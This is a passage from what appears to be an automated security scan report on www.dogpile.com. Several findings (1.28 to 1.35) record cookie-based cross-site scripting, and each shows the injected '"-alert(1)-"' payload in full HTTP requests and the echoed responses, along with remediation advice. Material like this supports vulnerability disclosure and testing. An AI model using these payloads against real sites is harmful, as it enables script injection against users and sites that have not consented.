ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=3d0f54f01437428e97eec16a3af0cb01&CookieDomain=.dogpile.com66b73"-alert(1)-"6a66de51dba; expires=Fri, 01 Apr 2011 17:16:33 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.28. http://www.dogpile.com/dogpile_rss/ws/about/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/about/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b56e7"-alert(1)-"2b8c3a90ea was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/ws/about/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11?rfcp=TopNavigation&rfcid=407&qcat=Web6c5ea\'%3balert(1)//e445c104ee1&qkw=MLB%20Schedule&newtxn=false&qcoll=Relevance&_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 5:01:42 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=fe86ba7b839e447e97c1c16a3af0cb01&ActionId=5b843be01d96476c9873c16a3af0cb01&CookieDomain=.dogpile.comb56e7"-alert(1)-"2b8c3a90ea

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=5b843be01d96476c9873c16a3af0cb01&ActionId=6d731ec229be41909e32c16a3af0cb01&CookieDomain=.dogpile.comb56e7"-alert(1)-"2b8c3a90ea; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:21:52 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 5:01:52 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:01:52 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:01:51 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45270

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=5b843be01d96476c9873c16a3af0cb01&ActionId=6d731ec229be41909e32c16a3af0cb01&CookieDomain=.dogpile.comb56e7"-alert(1)-"2b8c3a90ea; expires=Fri, 01 Apr 2011 17:21:52 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.29. http://www.dogpile.com/dogpile_rss/ws/faq/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/faq/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a4fb"-alert(1)-"9c0762a1d15 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/ws/faq/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:59:34 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=fe86ba7b839e447e97c1c16a3af0cb01&CookieDomain=.dogpile.com6a4fb"-alert(1)-"9c0762a1d15

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=fe86ba7b839e447e97c1c16a3af0cb01&ActionId=c871e3a9db9b43a0819cc16a3af0cb01&CookieDomain=.dogpile.com6a4fb"-alert(1)-"9c0762a1d15; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:21:52 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 5:01:52 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:01:52 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:01:52 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 64503

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=fe86ba7b839e447e97c1c16a3af0cb01&ActionId=c871e3a9db9b43a0819cc16a3af0cb01&CookieDomain=.dogpile.com6a4fb"-alert(1)-"9c0762a1d15; expires=Fri, 01 Apr 2011 17:21:52 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.30. http://www.dogpile.com/dogpile_rss/ws/index/ [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/index/

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 193eb"-alert(1)-"b095a032310 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_rss/ws/index/?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:08:30 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=efab2d4d5b684fe9b96cc16a3af0cb01&ActionId=fc23be7bf89f4d2eac78c16a3af0cb01&CookieDomain=.dogpile.com193eb"-alert(1)-"b095a032310

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=fc23be7bf89f4d2eac78c16a3af0cb01&ActionId=28f8ba9483394dd6935dc16a3af0cb01&CookieDomain=.dogpile.com193eb"-alert(1)-"b095a032310; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:29:21 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:09:21 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:09:21 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:09:21 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45843

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=fc23be7bf89f4d2eac78c16a3af0cb01&ActionId=28f8ba9483394dd6935dc16a3af0cb01&CookieDomain=.dogpile.com193eb"-alert(1)-"b095a032310; expires=Fri, 01 Apr 2011 17:29:21 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.31. http://www.dogpile.com/favicon.ico [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /favicon.ico

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55c43"-alert(1)-"46f043feb84 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /favicon.ico HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=5b843be01d96476c9873c16a3af0cb01&ActionId=d139d0f78e1a40d2844cc16a3af0cb01&CookieDomain=.dogpile.com55c43"-alert(1)-"46f043feb84; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 5:07:45 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=d139d0f78e1a40d2844cc16a3af0cb01&ActionId=731818522a4c460a8c29c16a3af0cb01&CookieDomain=.dogpile.com55c43"-alert(1)-"46f043feb84; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:27:57 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 5:07:57 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:07:57 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:07:56 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45969

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=d139d0f78e1a40d2844cc16a3af0cb01&ActionId=731818522a4c460a8c29c16a3af0cb01&CookieDomain=.dogpile.com55c43"-alert(1)-"46f043feb84; expires=Fri, 01 Apr 2011 17:27:57 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.32. http://www.dogpile.com/info.dogpl.rss/Web6c5ea//' [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /info.dogpl.rss/Web6c5ea//'

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1df86"-alert(1)-"c22c881b4b3 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info.dogpl.rss/Web6c5ea//';Alert(%22Xss%22)//E445c104ee1/MLB+Schedule HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:08:30 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=efab2d4d5b684fe9b96cc16a3af0cb01&ActionId=fc23be7bf89f4d2eac78c16a3af0cb01&CookieDomain=.dogpile.com1df86"-alert(1)-"c22c881b4b3

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=fc23be7bf89f4d2eac78c16a3af0cb01&ActionId=9aee2d8f1e244aa784bbc16a3af0cb01&CookieDomain=.dogpile.com1df86"-alert(1)-"c22c881b4b3; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:29:25 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:09:25 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:09:25 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:09:24 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=fc23be7bf89f4d2eac78c16a3af0cb01&ActionId=9aee2d8f1e244aa784bbc16a3af0cb01&CookieDomain=.dogpile.com1df86"-alert(1)-"c22c881b4b3; expires=Fri, 01 Apr 2011 17:29:25 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.33. http://www.dogpile.com/info.dogpl.rss/web/GE+Zero+Taxes [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /info.dogpl.rss/web/GE+Zero+Taxes

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae01e"-alert(1)-"a0d5d5414f7 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info.dogpl.rss/web/GE+Zero+Taxes HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:02 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; wsTemp=bigIP+3758658826.20480.0000+cacheId+ms18:1301676962746; wsRecent=MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=86d1546926784d5188d2c16a3af0cb01&CookieDomain=.dogpile.comae01e"-alert(1)-"a0d5d5414f7

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=18322850489c49eba441c16a3af0cb01&CookieDomain=.dogpile.comae01e"-alert(1)-"a0d5d5414f7; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:17:28 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:57:28 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:57:28 GMT; path=/
Set-Cookie: wsTemp=bigIP+3758658826.20480.0000+cacheId+ms18:1301677048693; path=/
Set-Cookie: wsRecent=GE+Zero+Taxes,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:57:29 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 161046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=18322850489c49eba441c16a3af0cb01&CookieDomain=.dogpile.comae01e"-alert(1)-"a0d5d5414f7; expires=Fri, 01 Apr 2011 17:17:28 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.34. http://www.dogpile.com/info.dogpl.rss/web/Go+Daddy+CEO+Elephant [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /info.dogpl.rss/web/Go+Daddy+CEO+Elephant

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6cfb5"-alert(1)-"011a7e5ee80 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /info.dogpl.rss/web/Go+Daddy+CEO+Elephant HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:55:44 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=91f95e6548a4490186bdc16a3af0cb01&ActionId=62fda6b6aa3440d49bc7c16a3af0cb01&CookieDomain=.dogpile.com6cfb5"-alert(1)-"011a7e5ee80

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=2f1882418dbe4e03a009c16a3af0cb01&CookieDomain=.dogpile.com6cfb5"-alert(1)-"011a7e5ee80; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:16:17 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:17 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:56:17 GMT; path=/
Set-Cookie: wsTemp=bigIP+3775436042.20480.0000+cacheId+ms19:1301676994415; path=/
Set-Cookie: wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:56:18 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 162067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=62fda6b6aa3440d49bc7c16a3af0cb01&ActionId=2f1882418dbe4e03a009c16a3af0cb01&CookieDomain=.dogpile.com6cfb5"-alert(1)-"011a7e5ee80; expires=Fri, 01 Apr 2011 17:16:17 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.35. http://www.dogpile.com/info.dogpl.rss/web/MLB+Schedule [DomainSession cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /info.dogpl.rss/web/MLB+Schedule

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f96a"-alert(1)-"0cf0cd42d43 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

